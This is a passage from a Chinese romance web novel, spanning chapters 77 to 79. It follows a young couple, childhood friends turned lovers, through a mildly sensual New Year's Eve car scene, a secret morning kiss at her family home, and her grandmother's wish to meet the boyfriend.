唇瓣上的酥麻仿佛一下蔓延到了心口。 虞千绾有些羞,脑袋不自觉往他怀里缩,不给他再这样亲她。 可她整个人都在他怀中,他撑在她脑后的大臂稍稍一用力就将她更近地抵推到他面前。 他眉眼间噙着的笑更温柔了,声音也柔如春水,“嗯?刚刚哼唧什么呢?” 在这样的眼神和声音下,虞千绾很难再远离。 “就……” 她的眼神在他的眼睛和唇瓣之间来回,被吻得红润水泽的樱唇堪堪吐出一个字又不说了。 商恪景鼻息中溢出声很轻的“嗯?” 耐心等着后续。 “可能、可能是太喜欢你了吧。” 说出这句,虞千绾彻底将脸埋到了商恪景颈窝间,呼吸都变得热烫起来。 女孩子家家的脸皮还是有些薄的,他们虽然交往的时间也差不多两月了,并不算短,可“喜欢你”“爱你”这种话虞千绾还是比较少说出口的,即便说也是在某种特定的氛围下,或是商恪景先开的这个头,否则她总还有些别别扭扭。 现下不仅冷不丁说“喜欢”,还有个前缀的“太”。 商恪景心脏像被挤压,里头再无旁的,只能容下她。 仅有她。 商恪景低头又去寻她的唇,大掌一次一次从颈窝里捧出她的面颊,“千绾。” 他声音里带着些粗重的喘,边啄着她的唇边重复唤着她,语速似乎越来越急,“虞千绾、虞千绾……” “我爱你,必须爱你,只爱你。” 虞千绾就像溺在一汪温泉水中,四肢百骸都被泡得软乎乎的,她逐渐忘记了再把头埋到他颈间,只知道放纵他的动作。 他们的舌又纠缠到一块,虞千绾先是轻软地回应他,力度一点点放重,到后来她甚至嫌侧坐着这么接吻不舒服,直接撑坐起身,跨坐在商恪景腿上。 商恪景也纵容着,甚至双手在她膝弯一拽,让她完全嵌合到自己怀中,身前丁点缝隙不留。 鼻息交织,他们早忘了时间,完完全全溺在情爱中厮磨。 直到—— 虞千绾实在有些被硌得不舒服了,她才细喘着轻轻抵了抵商恪景。 商恪景还当她是喘不上气,配合着松开了她的唇让她喘息会儿。 刚从绵长又激烈的湿吻里拔出,虞千绾精神还没同步,大半仍还陷在其中,眼前一片潮湿的雾气难以聚焦,她低着头抵在商恪景锁骨处,小口小口喘着气,心里却费解。 到底什么东西一直在硌她,而且越来越硌人,硌的她很不舒服,她往左避也不行往右避也不行,弄得她都没办法集中注意力接吻了。 他的皮带吗?还是衣服上的什么挂饰? 随着时间,虞千绾视线渐渐清明了些,没刚结束接吻时那么混沌了,但还有些晕晕乎乎,何况车内的光线本身就暗。 她想去寻到罪魁祸首然后告知商恪景以后不要再穿戴了,有女朋友的男人不适合,因为女朋友感受不佳。但停止接吻后姿势有所变动,虞千绾一下也不确定刚刚硌到她的东西到底在哪里了,垂首扫了眼也没瞧到哪有什么凸出的物什。 心想可能硌她的东西是他穿在里面的衣服上的但被外衣遮挡了,虞千绾放在商恪景肩上的双手顺势就沿着他胸膛下滑去摸,将要滑到他腰际的时候,她的手腕突然被扼住。 “……别往下了。” 商恪景声音不知道什么时候沙哑得不像话,是虞千绾从没听过的声线,很成熟很性感很欲。 “我——” 她下意识掀眸想去跟商恪景说,但对上他那双欲念横生且有些无奈的眸的瞬间,脑子里某根缺了的弦骤然连上。 她好像知道到底是什么在硌她了。 虞千绾眼眸登时睁圆,唇瓣紧抿,大气不敢出。 懊悔的眉头一点点、一点点地收紧。 虞千绾无措至极,简直想打飞刚刚的自己。 她都这么大了,怎么还干得出这种事…… 她看小说看漫画看电视剧的时候可是对意识流了如指掌,现在轮到自己身上怎么能迟钝成这样…… 商恪景半仰靠在椅背上,喉结连至下颚线那片紧紧绷着,线条分外明显。 他知道她反应过来了。 车内倏地就寂静了下去,喘息声都没了。 喉结上下艰难滚了滚,商恪景松开了扼着她细腕的手,缓缓朝她张开双臂,试探着问:“……还给抱抱吗?” 虞千绾上齿咬住了下唇,下唇大半唇肉都被上唇挡住,圆碌睁着的眸中满是单纯与无辜。 又是一番无声的对视。 商恪景刚欲打圆场把她抱回副驾驶坐着,身前人儿却忽然以行动代表答案,她依旧那么紧实、依赖地拥了上来,两膝紧挨在他大腿侧,脸颊贴在他颈侧。 这一次,虞千绾彻彻底底确定了她的念头。 果然一靠近他就感觉到了…… 而且好像变得更明显了…… 第77章 第 77 章 比钻石还硬的是男大的—…… 两人之间光是身高就足足差了18厘米, 更别提体型。 虞千绾扑到商恪景怀里的那下力度于他而言很轻柔,但心脏却像被重物猛撞,泛起剧烈的激荡,连带起一阵耳鸣。 她的靠近让他认知到, 他们的关系又进了一步。 一切的一切都变得难自控起来。 商恪景呼吸先是一窒, 跟着吞吐出的气息裹挟着灼温, 伴随着沉了好几度的呼吸声。 怀里人儿抱住他后一动不动, 到底还是难为情的, 大抵是生怕动弹一下就会蹭到那儿,腰线僵硬绷着。就这么, 两人维持原貌一分多钟, 谁都没说话。 平常不觉一分钟是个多难熬的时间,只觉转瞬即逝, 但在这种情形下,一秒钟都仿佛被掰成了几百万份, 如同钝刀子般磋磨着人。 埋在商恪景颈间的虞千绾早受不了了, 她很想做些什么抑或说些什么打破这氛围,但什么都说不出也做不出。 就在她脑袋都要变成一团浆糊时,环在她背后的大手下移,托在了她臀下, 稳稳带动她的身形换了个让她较为舒适的姿势。而后, 他的右手重新落回她腰后,隔着衣物轻轻拍了拍,像是种无声的哄。 也不知怎的, 感觉到他这动作的虞千绾身形倏然就没那么紧绷了,莫名心安的缓缓松散下来,腰线凹下去在他怀里压得更沉。脸颊微微侧抬, 露出一只眼望住他,没再掩着。 她颊边的发丝乱了,额前的碎发也因为抵在他身前不那么齐整,有几缕翘着。 略长的发,商恪景便以尾指勾住,耐着性子捋平挂回她耳后。挂不住的碎发,他便用食指往她颊边抚去,尽量不挡住她的视线,也不挡住他看向她的。 他们依旧没有说一句话,但周身磁场又融在了一起,那抹难言的羞耻感不知何时渐散。 “我没有别的意思,没有想做什么。” 商恪景垂着首,直挺的鼻尖浅浅挨在虞千绾侧颜摩挲,率先打破沉默,解释道:“……只是生理反应控制不住。” 虞千绾视线错开一瞬,抿了抿唇,再瞧向他。 视线里多了抹烁闪的水光,细若蚊吟地应:“嗯……” 这还在外面,她也没认为商恪景会做什么。 只是第一次恋爱,第一次感受到……免不得宕机无措。 但一声简单的“嗯”出口后,虞千绾瞧着近在咫尺的俊脸,又觉得自己好像回复的过于简洁了,简洁的就像是敷衍,可她没有,她只是不知道该怎么回才好。 见商恪景不说话,她眨了眨眼,白茫茫的脑袋硬憋出一句话,“那你这……要去找个卫生间处理一下吗……” 话出口,虞千绾本就漫着粉泽的脸颊更红了。 她简直想要咬掉自己的舌头,脑袋昏涨的不知道在说些什么胡话……为什么还要接着这个话题继续下去。 羞耻过甚,她扭头就想继续埋到商恪景怀里不和他对视,这里都快要成为她的安全屋。 可惜这次,虞千绾没能成功躲入。 脑袋刚有动势,下颚就被男人的两指衔住,带着毋庸置疑的力度将她小脸掰正,让她不得不同他交视。 谈论这种话题,商恪景显然也是没法多自在的,他的耳尖似和耳垂分层了般,红红的,色泽一点点减轻向下晕染开。 纯情又靡丽。 “处理好也没办法。” 他忽地将头挨到她颈侧,用很低很低的声这么同她说:“……回来一和你靠近,还是会有反应。” ——以前怎么没见你有反应? 差一点,虞千绾就嘴比脑子快的把这话吐露了出去,幸而唇瓣刚启就被她生生抑住。 她后知后觉,之前有好几次吻得好好的,他忽然把她从怀里抱了出来,放在沙发上压着亲,但彼时她没有想到这层,还以为是他觉得保持那个姿势亲久了不舒服。而且彼时的她沉浸在接吻中,根本没闲心去多想什么,不管被他放到哪里,她都只顾着继续亲。 原来是早有迹可循。 虞千绾是个爱宅家的性格,自然而然看了不少小说和漫画,在其中汲取到了许多黄色废料,不知道真假,但肯定比之现实要浮夸许多,什么“一夜八次”“几天几夜”这种一看就很扯的描述在小说里常有出现。 听到商恪景这话时,她阅文无数的脑瓜里登时冒出一个某段时间在网上挺火的形容——“比钻石更硬的是男大的……” 原来是真的。 只是亲亲抱抱就会有反应。 脑子里都是这些,鼻息间全是来自他的气味,颈侧还持续被他随着呼吸呼出的热温灼烫着,身体不仅被他紧拥着还被顶着。 虞千绾也开始控制不了自己的身体,贝齿紧咬下唇试图克制但没有用,檀口呼出的气息越来越热,眼神逐渐氤氲,像是颗披上了薄纱的宝石。 庆幸的是,男女身体构造不同,他没法像她觉察到他的一样清晰感觉到她。 颈侧感知到的属于他的温度忽然明显,大面积的侵占欲涌上。 虞千绾神经瞬时紧绷,自尾椎骨漫起阵阵酥麻,粉唇微张,随着他的动作就哼出声细碎的媚调,“嗯~” 手指下意识抬起按在了他脑后。 是他在吻她的颈。 以滚烫的唇温,急促的呼吸,贪恋的吮噬。 虞千绾的那声娇吟于他而言无疑是催化剂,他的唇舌愈发灵活,熟悉又陌生的感觉让虞千绾的手指在他短黑的发中越陷越深,瞳孔彻底失了焦,唇瓣合不上的持续喘着。 分不清究竟是痒还是到了某种极限,虞千绾偏过头,黏稠的甜嗓拉扯着溢出一声假话,“恪景,嗯~我疼……” 已然从颈间流连下移到锁骨处的商恪景动作果然一顿,就像是逐渐丧失理智的人被人当头一棒拽出,他怔了怔,胸膛极速起伏着,唇瓣同她皙白润泽的肌肤拉开一小截距离。 短暂的空白后,鼻息间充斥着的独属于她的馨香猛然馥郁,商恪景突然有些喘不上气,仿佛像是在嗅空气,减弱一点就难受一分。 可她颤着音轻呼的那声疼还萦绕在耳畔,商恪景闭了闭眼,深深吸了口气才逼迫着自己直回身子。 她细皮嫩肉的,打小就娇惯,丁点疼都受不了。 吻她的时候,商恪景已经竭力注意了,没有在同一个区域吮咬太久,未曾想还是弄疼了她。 还好像……微微失控在她锁骨窝里留下了枚短时间内难散的吻痕,大概就是在这弄疼了她。 理智彻底归笼,商恪景倾身又在吻痕上轻轻以唇覆了覆,很柔的一下,不含情欲,像是后知觉的歉意。 虞千绾却在他这个温柔的动作下近乎完全化成一滩水,某种按捺不住的冲动忽涌,她脑袋一低挨到他颈边,张嘴就咬了口。 不轻不重的一下,商恪景颈侧皮肤立刻出现了两枚浅浅的半圆形的齿痕,不多时就散去。 他只当是弄疼了她,她还回来的报复。 而且这种报复,他情愿多来几次。 恰在此时,车窗外仅有点点繁星的昏暗天际乍亮,像有不胜枚举的流星伴随着“咻”声袭上夜空,然后绽放开最灿烂美丽的模样。 是零点到了,举国欢庆,各类烟花升空。 两个拥在一起的人被这声音惊得同时颤了下。 反应过来,虞千绾赶忙推了推商恪景,面上红霞仍在,嗫嚅,“……我得回去了,我出来前跟我爸妈说过要跟他们一起数倒计时的。现在已经过点了,再迟不好。” 商恪景似懂非懂地点了点头,“这样。” “嗯……你快把车开回去吧。” 虞千绾话落便想换个姿势从主驾驶抬脚迈回副驾驶,但她的膝弯被商恪景两手紧紧箍着,他不松,她抬脚又被压回的时候身形不自觉往前跌了下,急遽伸手抵在椅背上稳住有些摇晃的身形。 “商恪景!” “在呢。” 他光应但没有任何举措,唇角还噙着抹笑。 虞千绾挣扎几次无果,羞愤抬手往他脖子上掐,“商恪景你耍流氓。” 掐的是脆弱部位,她有分寸的没用什么劲。 商恪景显然有些恃宠而骄,不仅笑意更甚,还冷不丁低头在她手背上落下一枚啄吻。 虞千绾跟被烫到似的,倏地收回手背在身后,面上羞愤之色更重,她憋了半天憋出句,“……变态!” 也不知道是在说此刻的他还是刚刚。 “新年快乐女朋友。明天,初二我去沪市找你好不好?” 只短短这么句话,虞千绾又被他顺平了毛。 她其实也想问他,今年还来不来沪市找她。 毕竟去年他来了,按照以前隔年来一次的规律,今年是不该来的。 虽然她心知他们现在身份不一样,自然不能再套用以前的规律,但又知晓自己如果开口问,他一定会来,可沪市和京市之间距离也算不得很近,乘坐总体时间最短的高铁一来一回也得十个小时,一天拢共就二十四小时,这么奔波挺累的。 她很想他来,但听到他的话,知道他有这份心,旁的好像也没那么重要。 于是她通情达理地说:“其实通视频也可以的,好不容易有个假期,把时间放在休息上吧,反正等我回来以后,我们每天都会见的。” 商恪景不假思索摇了摇头,“不可以。” “我最多最多只可以接受我们一天不见。” 他想好了,初一初二这两天拜访的亲戚比较重要,所以这两天不好缺席,他就买初二晚上的高铁票去沪市,如此初三一天都能待在沪市,等到晚上再赶回京市。 最迟初四晚上她就会回来,这样他们之间分开的时间不会太久。 他握住她的手,摊平隔着衣料让她掌心静静感受他的心跳,平静地说着情话,“好几天见不到你,这里会受不了。” 虞千绾心里的天平已然倾斜,话腔瞬间噙上些撒娇的嗲,“我不是怕你太累嘛。” “去见你不累。” 虞千绾本来就没那么坚定,闻言更是瞬间改口,“好吧~” 她眉梢微扬,双手又热切拥上他颈,“那我也在这再多待十分钟。” 她晃了晃他,“你拿手机看着时间。” “这么严谨?” 商恪景动作慢慢吞吞起来。 虞千绾看破,呵笑出声,“商恪景你少赖皮!不要妄图拖延时间。” 商恪景被看破说破也不羞臊,依旧拖延着,甚至摆在明面上墨迹,最后还在虞千绾的注视和催促下明目张胆把闹钟定在了15分钟后。 一直跨坐着不太舒服,尤其他还一直硬挺着…… 虞千绾哪好意思问他总这样难不难受,只别别扭扭找了个理由侧坐在了他腿上,心想这样他们都能休缓休缓。 商恪景拥着她,他们聊聊亲亲,时间很快过去十分钟。 告别在即,他愈发不舍地一下一下亲着她面颊,询问:“我拍张照片发朋友圈好不好?” 他们交往的事虽然关系不错的朋友们基本都已经知晓,但还没正式发过朋友圈官宣,主要先前没和爸妈说,所以不好发。 现下一切都那么刚刚好,商恪景便想拍几张照片留存下这一刻,这样今天明天想她但见不到的时候还能拿出来看看。 虞千绾却立即捂住了嘴,睁着圆溜溜的眼睛摇了摇头,“我没带口红没法补妆……都被你吃完了。” 一方面是在意外表,没涂口红拍照没那么好看。另方面是他们的唇瓣还处在微微充血的状态,要是拍照片发在朋友圈里,明眼人一瞧都知道他们刚干过什么,太羞耻。 “发朋友圈里的只拍手。” 商恪景握住她的手十指交扣,“拍脸的我自己私藏着,不往外发。” 他还舍不得让别人瞧见她现在的模样呢。 “那行。” 虞千绾眼珠一转,高兴掏出手机打开拍照功能,得意道:“我已经想好文案了!” “什么?” “不告诉你。” 虞千绾没好意思说,其实是因为那些话打字发在朋友圈不觉有什么,但如果面对面,她就有些难以启齿。 即便也不是什么腻歪话,可她就是说不出口,索性选择通过朋友圈让他知晓。 两个人左手交握着,在车里各种找角度拍着。 纷纷拍出满意照片后,商恪景视线自上而下直直看着她在编辑朋友圈页面打下这样一段话—— 【和男朋友的第一个新年,也是和竹马的第21个。】 心头很难不受触动,商恪景抄去了她的文案,在自己的朋友圈发送—— 【和女朋友的第一个新年,也是和青梅的第21个。】 朋友圈的点赞和评论量飙涨。 他们在一片惊叹和祝福声里接吻,直至闹铃响起,15分钟到达,约定好下次见面时间的他们暂且分别,皆在心里暗暗期待着盼着再见。 作者有话说:千绾:羞愤掐脖子 恪景:美滋滋低头亲 [狗头][狗头][狗头][狗头][狗头] 一时间不知道会玩的是谁^v^[猫头] 第78章 第 78 章【增】 吻痕照 “叮铃铃铃——” 大年初一一大早, 正陷在被窝里沉睡的虞千绾就被闹钟无情扰醒。 她凌晨三点多才睡着,现在压根起不来。 但又知晓得赶飞机去沪市看外婆,这是不能赖掉的要紧事,必须得起来, 可她现下困的眼皮都不想睁开。 秉持着能眯一会儿是一会儿的心态, 虞千绾果断摁掉闹钟后转了个头又继续睡了。 反正在家, 爸妈肯定不会漏掉她, 会来催她不会让她睡过的, 她可以很安心再度入睡。 不出所料,十几分钟后, 又睡着的虞千绾被叩门声吵醒, 来喊她的人是姐姐。 虞昭音敲了敲门没听到里头有动静便直接推门而入。 瞧见虞千绾还一动不动地呈大字型平躺在床上睡着也不意外,边催边向床头走近, “快起来了千绾,收拾收拾出发了, 还得往机场去呢。” “嗯…………” 这么短短一个字, 虞千绾懒懒散散哼出了蜿蜒曲折的绵长调,无疑是在以此拖延时间,多一秒也好。 “这会儿来这套没用啊。” 知道她熬夜这会儿必须起来确实很难受,虞昭音弯腰, 一手去拉虞千绾的胳膊, 一手探到她肩后帮她撑着些力,“来,听话, 顺着力起来。” 虞千绾正处于睡得沉的时候,压根不想起,困的她直想哭, 眼睛闭着,嘴里一个劲哼唧,不仅没配合着虞昭音的力道起床,还赖床地往被窝里又钻了钻,下半张小脸都被被子挡住。 虞昭音不厌其烦将虞千绾身前的被子拉至她胸前,露出她完整的脸,而后再去尝试拉她起来。 虞昭音看到了虞千绾凌晨发的朋友圈,带点揶揄地说:“再不起来,你的男友兼竹马在楼下要急坏了。” “——嗯?” 虞千绾紧闭的眼倏地睁开,但里头满是惺忪和困怠,她将信将疑地问:“……真的假的?” 没睡好觉的声音很是沙哑,虞千绾揉了揉发酸的眼睛,闷声:“姐你不会是为了让我起床扯这种理由哄骗我的吧?” 商恪景睡的比她还迟,才不会这个点起床。 “我还需要找理由?我真想让你起来,声音一凶不就行了。他估计是想来送你的,在楼下等了有一会儿了。” 虽然虞昭音前半句话听起来有些不讲道理,但却是绝对的实话,虞千绾对爸妈都没那么怵,但姐姐一厉声管教她,她怕的不得了。 虞千绾基本已经信了姐姐的话,并且顺着姐姐的劲艰难从床上坐起来了。 但身体实在是困,精神不济,坐起来后又没了后续,就呆坐着耷拉着脑袋打哈欠。 忽地,她肩侧皮肤一凉。 是虞昭音以食指勾开了她左肩的那片睡衣布料。 虞千绾低头瞧了眼虞昭音的手,不明所以,继续哈欠连天地问:“姐你干嘛……” 她脑袋迷糊着,全然忘记了暴露在空气的皮肤中有不便于被人瞧见的痕迹。 “吻痕。你们目前进展到这步了?” 说话的同时,虞昭音指腹陷在虞千绾锁骨窝里触着那抹暗红抚了抚。 一个激灵,虞千绾身形当即朝着远离虞昭音的那侧倾了倾,两手急遽薅住自己的衣领朝上拢着,嫩白的皮肤瞬间由内而外沁出粉泽。 嗔圆的眼睛里再无未醒的迷糊,满是彻底醒神的羞意。 “姐你快出去吧,我去洗漱了!” 再不用虞昭音催促什么,虞千绾揪着衣领麻溜下床踩上拖鞋小跑入洗手间关上门隔绝开与她的视线触碰。 虞昭音站在原地笑了声,知道妹妹年纪小还羞于聊这些,便只道了句“我走了,你快些,别弄迟了赶不上飞机”就离开了虞千绾的卧室。 洗手间内。 虞千绾听到卧室的门被姐姐带上才缓缓松开紧攥着睡衣领的手。 过了一夜,吻痕颜色变暗也变深了,在她如雪般透白的皮肤上更为惹眼。 深夜在车内的那段经历如潮水般涌入脑海,虞千绾脸颊不自觉越来越烫。 也忍不住想起——她凌晨回来洗完澡后,攥着湿润了不小一片的内裤在洗手台前默默搓了良久,良久。 …… 大冷的天,虞千绾却选择弯腰掬起一捧捧凉水扑到面颊清洗。 惦记着航班时间和在楼下等她的商恪景,虞千绾没敢多耽搁,即便有些羞有些别扭,但还是尽快收拾着自己去见他。 她睡前定闹钟的时候就直接决定好自己不化妆打扮了,把时间留在睡觉上,等到了外婆家时间充裕后再慢慢化。 所以这会儿收拾起来很快,简单刷牙洗脸后换了身衣服就素面朝天披散着长发下了楼。 商恪景正和虞昭音坐在沙发上聊天。 听到下楼声,两人同步望过去,瞧见虞千绾,虞昭音自觉起身让出空间,“我去楼上看看妈妈化好妆没。” 冬天的衣物将皮肤遮挡的很严实,虞千绾下楼前还特意对着镜子确认过不会露出锁骨那片。 但和姐姐擦肩而过的瞬间,她还是不由得抬手压了压衣领。 虞昭音离开后,客厅就只余虞千绾和商恪景。 虞千绾仰头偷觑了眼楼梯,确定姐姐看不到楼下的画面后径直奔向商恪景扑到他怀里,眼睛亮亮地仰着巴望他,“你怎么来了?” “想你。” 无需提出的问题和昭然若揭的答案。 即便是明知答案问问题,可听着当事人亲口说出感觉还是不同,虞千绾一边竖着耳朵注意着楼上的动静一边在商恪景怀里更深地埋着蹭着,“凌晨睡得迟,我没想到你会来。” 他们凌晨分开后本都想着早睡的,但心脏躁乱得厉害,很难顺应理智入眠。 于是他们又开始通过手机聊天,期间多次说不能再聊了得睡觉了否则白天拜年得困死,甚至互相道过很多次晚安,可还是墨迹到了凌晨三点多才入睡。 商恪景腰背微弓,一手覆在虞千绾脑后,一手紧拥在她背后,“现在不见就得等到明晚了,太久。” “现在见一面的话,等待时间就从零重新开始计算了。” 虞千绾几乎要溺毙在商恪景这些话语里。 比赤裸直白的情话还要令她心动不知多少倍。 没忍住,她扭头瞄了眼楼梯,然后迅速踮起脚贴到商恪景唇边亲他,且不是浅尝辄止的一下,而是长驱直入的热吻。 商恪景都没料到她会这样胆大,眼睑轻颤了下。 但也只是一瞬,跟着他就压下身形,沉着鼻息同她更深地缠吻。 他们吻得又急又猛,还得提着精神注意着楼上长辈们有没有下来,从未有过的刺激感却带来了别样的滋味。 才堪堪十来秒的时间,虞千绾就有了昨夜那般的情动感,眼睫不停颤,她赶忙并紧细腿,脑袋后仰中断了和他的吻。 突然的开始又突然的结束。 商恪景显然不愿。 他色气地垂首又追上来,大掌牢牢掌住虞千绾的后脑勺,含着她的舌尖又吮吸了几下,发出靡靡水渍音,在空寂的客厅内分外惹耳。 这动静惊的虞千绾羞圆了眼,两手掌心竭力推阻着他的胸膛,舌尖也一个劲地将他朝外抵。 一边抗拒一边却又禁不住地情动,亢奋的神经在拉扯中愈发紧绷。 “快走快走,千绾收拾好了是吧?” “嗯,已经在楼下等着了。” “她今天倒快。” 妈妈和姐姐的对话声从楼上飘下,口腔内的掠夺却还在持续。 虞千绾绷着的那根神经彻底断了,她万分后悔自己刚刚靠近的举动,商恪景这人压根禁不住撩拨,而且胆子比她大多了。 偏偏这种时候她还不敢多挣扎,就怕发出什么暧昧的声响被爸妈觉察到。 说话声和脚步声越来越靠近,就在虞千绾觉得商恪景疯了的时候,他终于松开了她。 羞愤至极的虞千绾抬脚就在他鞋上狠狠踩了下发泄,扭头赶忙去拽了张抽纸擦拭自己被亲的湿漉漉的唇。 虞千绾分外庆幸她早上没化妆,否则压根没空补妆,定然会被家人发现的。 但她要是没化妆的话,他估计也没这胆量……但也有待商榷,谁知他能不能干出。 越想越羞愤,虞千绾扭头瞪了眼商恪景。 瞧见他正以手背擦拭着唇上的水光,眼神状似漫不经心地直直望着她,莫名,她的心脏像被电了下,漫过阵阵电流,她当即扭回头不看他。 怎么跟个妖精似的…… 顶着双看什么都深情的桃花眼胡乱朝她放电。 贝菡虞宗然走在前面,虞昭音牵着小橙子走在后面,四人下楼时,客厅已经恢复正常了,起码那点异样不足以被他们觉察到。 贝菡已经提前从虞昭音那知晓了商恪景过来的事情,看到他也不意外,主动招呼,“恪景啊,你吃早饭了吗?在这里吃点呀。” “不用了贝姨,我过来和千绾说几句话就回家了,马上也得跟我爸妈去拜亲戚了。” 商恪景让人挑不出丁点错漏地回,跟着朝着虞宗然笑了笑,主动唤了声:“虞叔好,新年快乐。” 虞宗然颔了颔首,温笑,“新年快乐。” 虞千绾默默窥着这幕,有些气恼地磨了磨牙。 她以前怎么没发现他这么的厚颜无耻? 上一秒和她亲得难舍难分,现下竟然面不红心不跳的跟她爸妈交涉,好像经历那番激吻的人就她一个似的。 虞家人急着去赶飞机,没时间多和商恪景聊什么,商恪景也知晓,主动从虞宗然手里拿过了个行李包帮他送去了车的后备箱。 贝菡看着商恪景的背影,噙笑和虞宗然揶揄,“以前感觉千绾和恪景的关系已经很好了,现在看来还是不一样,果然是要当未来女婿的人,很有眼力见。” “未来女婿?那还得再看。” 贝菡哂笑声斜睐他眼。 真是到了可以为难女婿的年纪就忘了自己当初做准女婿时的滋味了。 若不是时间不允许,商恪景是想送虞千绾去机场再回来的,奈何再过半小时他也得出发去拜年了,来回机场的时间不够。 故以,他只能将虞千绾送到家门口的车上。 虞家人依旧是两辆车出行,爸妈一辆,姐妹俩带着小橙子一辆。 没有长辈,商恪景弯腰站在虞千绾的车窗边时,最后的话也更容易说出口,以一种极度缱绻不舍的调调,“明晚我就去找你。” 许是刚经历过那么惊心动魄的一幕,虞千绾仍有些心有余悸,并且想到了小小报复他的手段,分别情绪便没那么重的涌上来。 她点了点头,语调还有些悠扬,“好,你快回去吧,我到了给你发消息。” “好。” 车辆将行,商恪景不得不后撤几步远离了车边,一点点望着车辆渐行渐远。 就在将要看不到车辆的那瞬,商恪景微信响起声消息音。 强烈的第六感让他立即拿起手机点入查看,果然是来自虞千绾的消息。 她发来了一张照片。 商恪景并没看仔细手指就点了上去,照片瞬时放大,一片女孩子的细腻肌肤就这么冷不丁闯入他的视线,其上伴随着一枚暗色的红痕。 就像是虞家二老院中种着的那株红梅,在白雪皑皑中盛放,夺目吸睛。 这是虞千绾换衣服前自拍的一张。 当时的本意是想拍下来嗔怨他的,怨他弄出这枚吻痕被姐姐瞧见了让她好尴尬。 但他刚刚那副人模狗样的姿态委实让她不快,她很想惩治惩治他。 手机又滴了声。 商恪景保存了这张照片才回到聊天页面查看。 ——【好看吗?】 喉结微滚,商恪景点开照片又瞧了眼,这次吸引到他的是她优越漂亮的肩颈线。 【好看】他坦诚地回。 谁知虞千绾那边突然变脸,发了个木着脸凝视的表情包。 【那就馋着吧,你未来很多个小时都亲不到我了】 【明晚来了也不给亲】 商恪景失笑,迅速敲下回复:【就亲】 跟着还发了一连串的唇印emoji过去。 虞千绾回了三个警告的巴掌emoji。 商恪景却回更为痴迷的亲亲表情包。 而且足足弹了两个屏幕。 虞千绾没绷住,斜身靠在车窗边笑出声。 她男朋友该不是有什么特殊癖好吧? 笑意渐收之际,虞千绾心脏忽觉空旷寂寂。 她不自觉回头往家的方向望,却早看不到那栋别墅,更看不到别墅前的那抹颀长身形。 糟糕,突然好想他- 虞千绾外婆仲莹华已经事先从她妈妈那知晓了她和商恪景恋爱的事,一碰面就高兴地抓着她的手开始聊这事。 仲莹华近些年虽然都不怎么在京市待,更是多年都没再见过商恪景,但没少从儿子儿媳孙女的口中听到他的名字。老人家最在意门当户对和知根知底,商家无疑哪哪都符合。故以,她对商恪景本人以及他家长辈的人品都很放心,她欣喜于孙女恋爱的事,也欣喜于那个人是商恪景。 一回生二回熟,虞千绾现在再跟家里人聊恋爱的事再无羞赧,甚至还挺主动的顺着外婆的询问往下延伸告知。 午饭过后,一家人聚在一起聊天时。 家庭群里收到了来自奶奶的消息。 她说商家人过来拜年了。 这本不是什么稀奇事,毕竟两家走得近,每年都会去对方长辈家拜年的,但今年商家来拜年时提的东西比之往年的贵重程度直接翻了一番。 虽然双方嘴上都没明说,只是一方拜访一方招呼,可心里都跟明镜似的,无非是因为商恪景和虞千绾的这层关系。 奶奶在群里发消息一方面是揶揄,一方面是告知贝菡和虞宗然,让他们知晓这事,去到商家拜年时也得多提些年礼,不能再按照往例来。 且不论两个孩子以后能不能成婚,即便是出于礼貌回礼也得是价值差不多的。 虞千绾边对镜化妆边听着家里人的这些讨论,心头升起些微妙的感觉。 她本以为他们两家已经很亲近,他们之间已经很要好,但原来挚友变成恋人后还会牵起这么多琐碎的细节事,皆是从前没有考量过的。 不过都是些幸福的‘烦恼’,即便多出了事要操心,长辈们谈及的时候面上也都是挂着笑的,且是由心而发的那种。 外婆忽然拖长音“诶”了声,眼神同时瞧向虞千绾。 进行到化妆最后一步正在涂口红的虞千绾轻嗯了声等着她的后续。 “今年那孩子还来沪市找你玩吗?我记得他前些年来过几次。” 全家人的注意力瞬时都随着这话落到虞千绾身上,唯有已知情的虞昭音唇角浸上了些笑。 聊到这种详细的话题,虞千绾就有些难为情了,没先前那么自如。 毕竟他们除夕那天在一起近乎待了一天,结果就回个家的车程功夫,扭头又出去过二人世界了,还逾过了原先和爸妈说的归家点。然后睡个觉的时间,今早他又特意起早赶来送她,没分别多久,他大过年又要专程从京市赶来寻她。 这样高频的腻乎程度在长辈们面前说出委实让人面臊,仿佛他们分开一秒都不行。 虞千绾觑了眼家人,未涂腮红的面颊却自内而外透出了点点粉泽。 她抿了抿唇晕开口红,在合上口红盖的时候小声回:“……来的。” “真的呀?那好啊,哪天呀?” 虞千绾听着外婆这雀跃的声音和高昂的肢体动作有种不太好的预感,但还是坦诚道:“初二晚上到,初三晚上走……所以我初三得跟他出去玩,就不和你们一块去走亲戚了。” 外婆眼睛都笑眯成了一条缝,“你要不直接喊他来咱家一块吃顿饭呢?我好久没见那孩子了,都对他的模样有些模糊了。” 商恪景往年来沪市找虞千绾的时候都是和她约个地点在外碰面的,从没有直接来过外婆家,顶多在外婆家小区门口等着虞千绾。 粗概一算,外婆已经有六七年的时间没见过商恪景了,之前也就算了,外婆对虞千绾的朋友没什么兴趣,但现在变成男朋友,她可就太有兴趣了。 第79章 第79章【二合一】 他压根不是痛,是…… “不行!” 虞千绾不假思索地拒绝, 面上带着羞窘,“那也太快了……我们才交往两个月左右,不合适。” “是啊妈,哪有才刚交往就领回家的。” 贝菡以自身为例帮着女儿讲话, “我当年和宗然交往两年的时候你还说再等等再看看呢, 一早领他回来容易让他觉得稳了就不珍惜。” 外婆摆了摆手, 并不认同, “哎, 你们俩和他们俩的情况哪能一样?他们这是打小就认识,不仅本身是好朋友, 两家大人的关系也好, 知根知底的当然可以很快往下推进。” 结婚多年才知道还有这茬的虞宗然眼睛惊讶睁大,看看老婆再看看丈母娘, 但两人的注意力都不在这,虞宗然不好坏氛围只挂着抹讪讪的笑抬指蹭了蹭鼻尖, 默默在心里回想着婚前的点点细节, 准备单独相处时好好和老婆讨论讨论。 虞千绾倒仿佛成了局外人,任由妈妈和外婆各抒己见,自己则眼观鼻鼻观心地不吱声不搭腔。 直到妈妈说了一句这事还得千绾决定,我们在这讨论没用, 外婆才恍然回过神复问虞千绾。 虞千绾还是刚刚的态度, 肯定不能让商恪景过来,一方面他们俩都不自在,另方面他就来沪市待一天, 时间本身就短,若是再来家里和长辈交谈,最后怕是又没多少二人时光。 瞧见虞千绾的坚决, 外婆只得退而求其次追问:“那明年呢?” 话出口的瞬间,外婆又觉得时间太长,自行进行补充,“也不是非得新年,可以等到你觉得你们俩关系差不多的时候,就近是哪个节日就在那个节日带他一起来给我看看。” “嗯……看情况吧。” 虞千绾这么模棱两可地回。 